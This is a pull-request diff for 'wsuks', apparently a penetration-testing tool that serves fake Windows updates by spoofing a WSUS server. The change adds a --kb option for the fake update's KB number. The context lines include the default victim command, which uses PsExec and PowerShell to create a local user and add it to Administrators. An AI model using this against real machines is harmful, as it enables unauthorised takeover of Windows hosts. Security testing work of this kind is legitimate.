Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions wsuks/lib/argparser.py
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,7 @@ def initParser():

parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client.", required=not mode_args.serve_only and not mode_args.only_discover)
parser.add_argument("-I", "--interface", metavar="", help="Network Interface to use. (DEFAULT: %(default)s)", default="eth0")
parser.add_argument("--kb", metavar="", type=int, help="KB number to use for the fake update (DEFAULT: random)")
parser.add_argument("-e", "--executable", metavar="", default=f"{dirname(wsuks.__file__)}/executables/PsExec64.exe", type=argparse.FileType("rb"), help="The executable to returned to the victim. It has to be signed by Microsoft (DEFAULT: %(default)s)")
parser.add_argument("-c", "--command", metavar="", default='/accepteula /s powershell.exe "{CREATE_USER_COMMAND}Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member {WSUKS_USER};"', help="The command to execute on the victim. \n(DEFAULT (details see README): %(default)s)",)

Expand Down
4 changes: 2 additions & 2 deletions wsuks/lib/wsusserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ class WSUSUpdateHandler:
Mostly inspired by https://github.com/GoSecure/pywsus
"""

def __init__(self, executable_file, executable_name, client_location):
def __init__(self, executable_file, executable_name, client_location, kb_number=None):
self.logger = logging.getLogger("wsuks")

self.get_config_xml = ""
Expand All @@ -33,7 +33,7 @@ def __init__(self, executable_file, executable_name, client_location):
self.revision_ids = [randint(900000, 999999), randint(900000, 999999)]
self.deployment_ids = [randint(80000, 99999), randint(80000, 99999)]
self.uuids = [uuid.uuid4(), uuid.uuid4()]
self.kb_number = randint(1000000, 9999999)
self.kb_number = kb_number if kb_number else randint(1000000, 9999999)

self.executable = executable_file
self.executable_name = executable_name
Expand Down
4 changes: 2 additions & 2 deletions wsuks/wsuks.py
Original file line number Diff line number Diff line change
Expand Up @@ -127,9 +127,9 @@ def run(self):
# Prepare WSUS HTTP Server
# If we have a TLS cert we have to switch to HTTPS and supply the DNS name
if self.args.tlsCert:
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}")
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"https://{self.wsusHost}:{self.wsusPort}", self.args.kb)
else:
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}")
update_handler = WSUSUpdateHandler(self.executable_file, self.executable_name, f"http://{self.hostIp}:{self.wsusPort}", self.args.kb)
update_handler.set_resources_xml(self.command)
self.logger.debug(update_handler)

Expand Down
Loading